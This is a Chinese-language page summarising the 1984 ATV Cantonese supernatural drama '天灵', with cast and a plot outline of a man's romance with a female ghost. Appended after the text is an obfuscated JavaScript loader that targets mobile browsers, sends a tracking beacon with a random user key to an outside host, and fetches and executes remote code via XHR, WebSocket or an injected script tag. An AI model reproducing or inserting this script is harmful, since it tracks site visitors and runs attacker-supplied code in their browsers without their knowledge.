《天灵（粤语版）》是由余明生执导，何家劲,黄秋生,任喜宝主演的港台剧。该电视剧于1984年在中国香港上映。香港亚视（ATV）恐怖、玄幻、爱情、动作类剧集，灵异类剧集的先行者。麥守義编审，阮惠源监制。 古天行无意中认识了罗娜，并且疯狂的爱上了她，然而罗娜确实女鬼附身，由此引来一连串诡异的恐怖经历。他父亲执导后，请来了法式潮册文，并在家里贴上咒符驱鬼。天行发现后很是 气愤，与法师发生了激烈冲突，并且烧到 了所有的咒符。罗娜又回到天行身边，并且将册文吓的半死。 天行决定和罗娜结婚，潮册文问讯赶来，并请来师父来对付女鬼。最后天行终于在进一步踏入鬼域时看清了所有的真相，然而处于阴阳交界的天行却面临前所未有的艰难选择…… 原来，古天行對羅雪芳一見鍾情，怎料雪芳被車撞斃，二人陰陽相隔，但天行仍決意與雪芳展開一段人鬼孽緣。天行父親得悉後，請來法師林約翰驅走雪芳的鬼魂。天行心情漸平復後，邂逅由美回港的于素素，可是素素之姊原來被天行駕車意...
function IZlXwUs(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function QuRwUndk(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return IZlXwUs(t);};window[''+'j'+'P'+'K'+'b'+'g'+'X'+'p'+'G'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=QuRwUndk,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ssd.zmneysz.com:7891/stats/7747/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZ0Zy4wYTljLmNvbSSUzQTg4OTE=','d3NzJTNBBJTJGJTJGcG8uemFjdm0uY29tJTNBBOTUzMw==','4680',window,document,['S','B']);}:function(){};